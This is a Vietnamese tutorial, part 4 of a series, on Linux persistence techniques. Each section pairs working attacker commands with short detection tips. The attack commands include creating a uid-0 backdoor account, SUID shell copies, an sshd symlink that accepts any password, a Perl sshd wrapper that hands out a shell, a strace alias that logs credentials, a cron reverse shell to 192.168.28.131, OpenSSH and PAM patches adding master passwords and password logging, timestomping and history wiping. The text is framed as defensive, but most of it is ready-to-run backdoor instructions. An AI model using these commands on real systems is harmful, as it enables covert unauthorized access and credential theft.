Kỹ Thuật Duy Trì Quyền Hạn Trên Linux - Phần 4
Bài viết này sẽ phân tích các kỹ thuật duy trì quyền hạn phổ biến trên Linux, giúp bạn hiểu rõ để phòng thủ hiệu quả.
1. Thêm người dùng và mật khẩu bằng một câu lệnh
Thêm người dùng thông thường:
# Tạo một người dùng với tên là 'testuser' và mật khẩu 'password123'
useradd -p `openssl passwd -1 -salt 'random' password123` testuser
# Sử dụng phương pháp useradd với cú pháp khác
useradd -p "$(openssl passwd -1 password123)" testuser
# Phương pháp sử dụng chpasswd
useradd testuser;echo 'testuser:password123'|chpasswd
# Phương pháp sử dụng echo -e
useradd demo;echo -e "password123\npassword123\n" |passwd demo
Thêm người dùng root:
# Tạo một người dùng root với tên là 'admin' và mật khẩu 'rootpass'
useradd -p `openssl passwd -1 -salt 'secret' rootpass` admin -o -u 0 -g root -G root -s /bin/bash -d /home/admin
Phát hiện người dùng đáng ngờ:
# Tìm kiếm người dùng đặc quyền (uid = 0)
awk -F: '$3==0{print $1}' /etc/passwd
# Tìm kiếm thông tin tài khoản có thể đăng nhập từ xa
awk '/\$1|\$6/{print $1}' /etc/shadow
# Kiểm tra các tài khoản có quyền sudo (ngoài tài khoản root)
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
2. Shell SUID
Shell SUID là một loại shell có thể chạy với quyền của người sở hữu.
Kết hợp với quyền người dùng thông thường
cp /bin/bash /tmp/root_shell
chmod u+s /tmp/root_shell
Khi đăng nhập với người dùng testuser, có thể nhận được quyền root.
Lưu ý: bash2 có các biện pháp bảo vệ đối với suid, cần sử dụng tham số -p để nhận được một root shell. Ngoài ra, người dùng thông thường thực hiện shell SUID này phải sử dụng đường dẫn đầy đủ.
Phát hiện:
# Tìm các tệp có cờ SUID trong Linux
find . -perm /4000
# Tìm các tệp có cờ SGID trong Linux
find . -perm /2000
# Xóa quyền s
chmod u-s /tmp/root_shell
3. Đăng nhập không cần mật khẩu với khóa SSH
Trên máy khách, tạo một cặp khóa công khai/tư nhân, sau đó đặt khóa công khai trên máy chủ (~/.ssh/authorized_keys), giữ lại khóa tư nhân. Khi đăng nhập ssh, chương trình ssh sẽ gửi khóa tư nhân để khớp với khóa công khai trên máy chủ. Nếu khớp thành công, có thể đăng nhập.
Máy khách:
ssh-keygen -t rsa
Nhấn Enter ba lần trong quá trình. Sau khi hoàn thành, vào thư mục ~/.ssh và xem nội dung:
Trong đó id_rsa là khóa tư nhân, id_rsa.pub là khóa công khai. Mở id_rsa.pub và sao chép nội dung vào máy chủ. Thêm nội dung id_rsa.pub vào /root/.ssh/authorized_keys, cấu hình hoàn tất.
Phát hiện: Kiểm tra xem /root/.ssh/authorized_keys có bị thay đổi không.
4. Liên kết mềm
Khi dịch vụ sshd được cấu hình chạy với xác thực PAM, và trong tệp cấu hình PAM, cờ điều khiển là sufficient, chỉ cần mô-đun pam_rootok phát hiện uid là 0 (quyền root) là có thể xác thực đăng nhập thành công. Bằng cách sử dụng liên kết mềm, thực chất xác thực PAM là tìm kiếm tệp cấu hình PAM tương ứng trong thư mục /etc/pam.d dựa trên tên tệp của liên kết mềm (/tmp/su), ví dụ: /etc/pam.d/su. Lõi của việc đăng nhập với bất kỳ mật khẩu nào là auth sufficient pam_rootok.so, vì vậy chỉ cần tệp cấu hình PAM chứa cấu hình này là có thể đăng nhập SSH với bất kỳ mật khẩu nào. Ngoài su, còn có chsh, chfn cũng có thể thực hiện tương tự.
Trên máy chủ mục tiêu, thực hiện một câu lệnh backdoor:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9999
Sau khi thực hiện, bất kỳ máy nào cũng có thể ssh root@IP -p 9999, nhập bất kỳ mật khẩu nào, đăng nhập thành công.
Phát hiện: Quá trình và cổng đều có thể phát hiện bất thường, sử dụng kill -s 9 PID để kết thúc tiến trình và xóa backdoor.
5. SSH wrapper
Đầu tiên khởi động là /usr/sbin/sshd, khi script thực thi đến getpeername, việc khớp biểu thức chính quy sẽ thất bại, sau đó thực hiện câu tiếp theo, khởi động /usr/bin/sshd, đây là sshd gốc. sshd gốc sau khi kết nối cổng lắng nghe, sẽ tạo một tiến trình con để xử lý công việc cụ thể. Tiến trình con này không có kiểm tra gì, mà trực tiếp thực hiện /usr/sbin/sshd ở vị trí mặc định của hệ thống, như vậy quyền điều khiển lại trở về script. Lúc này, đầu vào/đầu ra tiêu chuẩn của tiến trình con đã được chuyển hướng đến socket, getpeername có thể thực sự lấy được cổng nguồn TCP của máy khách, nếu là 19526 thì thực hiện sh để đưa shell.
Đơn giản hơn là từ sshd tạo một tiến trình con, đầu vào/đầu ra được chuyển hướng đến socket, và đã kiểm tra cổng của máy khách kết nối.
Máy chủ:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
Máy khách:
socat STDIO TCP4:target_ip:22,sourceport=13377
# Nếu muốn sửa cổng nguồn, có thể sử dụng thư viện chuẩn struct của python. Trong đó x00x00LF là dạng big-endian của 19526, thuận tiện cho truyền và xử lý.
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
Phát hiện:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
Có thể khôi phục lại bằng cách cài đặt lại dịch vụ ssh.
6. Backdoor strace
Bằng cách thay thế lệnh để theo dõi các cuộc gọi hệ thống và dữ liệu động, có thể ghi lại hoạt động của người dùng ssh, su, sudo.
#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc
Phát hiện: Sử dụng alias để phát hiện bất thường.
7. Cronjob反弹shell
Lệnh crontab được sử dụng để đặt các lệnh được thực thi định kỳ. Tạo script shell mới, sử dụng script để反弹 shell.
a. Tạo script shell, ví dụ tại /etc/backdoor.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/backdoor.sh
b. Sử dụng crontab -e để đặt công việc định kỳ
# Thực thi mỗi phút một lần
*/1 * * * * root /etc/backdoor.sh
Khởi động lại dịch vụ crond, service crond restart, sau đó có thể sử dụng nc để nhận shell.
Phát hiện:
# Xem danh sách công việc định kỳ đáng ngờ
crontab -e
8. Backdoor OpenSSH
Sử dụng backdoor openssh, đặt mật khẩu backdoor SSH và vị trí ghi lại mật khẩu root, có tính ẩn cao, khó bị phát hiện.
a. Sao lưu tệp cấu hình SSH
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
b. Giải nén và vá lỗi
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
c. Ghi lại vị trí tệp và mật khẩu cho tên người dùng và mật khẩu
vi includes.h
#define ILOG "/tmp/log.txt" // Ghi lại người dùng và mật khẩu đăng nhập vào máy này
#define OLOG "/tmp/out.txt" // Ghi lại người dùng và mật khẩu máy này đăng nhập vào máy khác
#define SECRETPW "backdoor123" // Mật khẩu backdoor
d. Sửa thông tin phiên bản
vi version.h
#define SSH_VERSION "Nhập phiên bản đã ghi trước đó, giả làm phiên bản gốc"
#define SSH_PORTABLE "Phiên bản nhỏ"
e. Cài đặt và biên dịch
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart
f. So sánh với tệp cấu hình gốc, để tệp cấu hình nhất quán, sau đó sửa ngày tháng tệp.
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
g. Xóa nhật ký hoạt động
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history
Phát hiện: Sử dụng strace để tìm backdoor ssh.
# 1. Lấy PID tiến trình đáng ngờ
ps aux | grep sshd
# 2. Theo dõi PID sshd
strace -o aa -ff -p PID
# 3. Xem tệp ghi lại mật khẩu đã mở
grep open sshd* | grep -v -e No -e null -e denied| grep WR
9. Backdoor PAM
PAM (Pluggable Authentication Modules) là một cơ chế xác thực do Sun đề xuất. Nó cung cấp một số thư viện liên kết động và một bộ API thống nhất, tách dịch vụ do hệ thống cung cấp và phương thức xác thực của dịch vụ đó, cho phép quản trị hệ thống có thể linh hoạt cấu hình phương thức xác thực khác nhau cho các dịch vụ khác nhau mà không cần thay đổi chương trình dịch vụ, đồng thời cũng thuận tiện để thêm các phương thức xác thực mới vào hệ thống. PAM ban đầu được tích hợp trong Solaris, hiện đã được chuyển sang các hệ thống khác như Linux, SunOS, HP-UX 9.0, v.v.
Phương pháp sử dụng:
1. Lấy phiên bản PAM hệ thống mục tiêu, tải xuống phiên bản PAM tương ứng
2. Giải nén, sửa tệp pam_unix_auth.c, thêm mật khẩu phổ quát
3. Biên dịch và cài đặt PAM
4. Tệp sau khi biên dịch nằm ở: modules/pam_unix/.libs/pam_unix.so, sao chép vào /lib64/security để thay thế, có thể đăng nhập bằng mật khẩu phổ quát và ghi tên người dùng, mật khẩu vào tệp.
Phát hiện:
# 1. Theo dõi ssh bằng Strace
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2. Kiểm tra thời gian sửa đổi pam_unix.so
stat /lib/security/pam_unix.so #32-bit
stat /lib64/security/pam_unix.so #64-bit
10. Rootkit backdoor
Mafix là một rootkit ứng dụng nhẹ phổ biến, thực hiện đăng nhập từ xa bằng cách giả mạo lỗ hổng giao thức ssh, đặc điểm là cấu hình đơn giản và có thể tùy chỉnh mật khẩu xác thực và cổng.
Phương pháp sử dụng: Sau khi cài đặt, sử dụng ssh user@IP -P cổng đã cấu hình để đăng nhập từ xa.
Phát hiện: Kiểm tra xem cổng có bất thường không, sử dụng RPM check để xem lệnh có bị thay thế không.